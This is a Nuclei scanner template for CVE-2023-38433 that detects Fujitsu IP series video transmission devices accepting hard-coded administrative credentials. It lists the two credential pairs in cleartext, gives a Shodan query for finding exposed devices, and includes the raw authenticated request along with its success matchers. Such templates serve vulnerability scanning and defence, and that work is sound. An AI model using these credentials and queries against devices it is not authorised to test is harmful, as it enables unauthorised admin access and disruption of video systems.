nuclei-templates/http/cves/2023/CVE-2023-38433.yaml

60 lines
2.0 KiB
YAML

id: CVE-2023-38433
info:
name: Fujitsu IP Series - Hardcoded Credentials
author: AdnaneKhan
severity: high
description: |
Fujitsu Real-time Video Transmission Gear “IP series” use hard-coded credentials, which may allow a remote unauthenticated attacker to initialize or reboot the products, and as a result, terminate the video transmission. The credentials cannot be changed by the end-user and provide administrative access to the devices.
reference:
- https://www.praetorian.com/blog/fujitsu-ip-series-hard-coded-credentials
- https://nvd.nist.gov/vuln/detail/CVE-2023-38433
- https://www.cisa.gov/news-events/ics-advisories/icsa-23-248-01
- https://www.fujitsu.com/global/products/computing/peripheral/video/download
- https://jvn.jp/en/jp/JVN95727578
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2023-38433
cwe-id: CWE-798
epss-score: 0.00438
epss-percentile: 0.71921
cpe: cpe:2.3:o:fujitsu:ip-he950e_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: fujitsu
product: ip-he950e_firmware
shodan-query: '"Server: thttpd/2.25b 29dec2003" content-length:1133'
max-req: 1
tags: cve,cve2023,fujitsu,ip-series
http:
- raw:
- |
GET /b_download/index.html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}
attack: pitchfork
payloads:
username:
- fedish264pro
- fedish265pro
password:
- h264pro@broadsight
- h265pro@broadsight
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Field Support'
- type: status
status:
- 200
# digest: 4a0a004730450220546287a3ba9572a680a7524f9aa92cd2f5b7d29f27c1de178bcad655f24e48790221009a7bf6d74bb1061fb9c6515edbca94fdb768fed80ba7ac1899cd93cae6043fe6:922c64590222798bb761d5b6d8e72950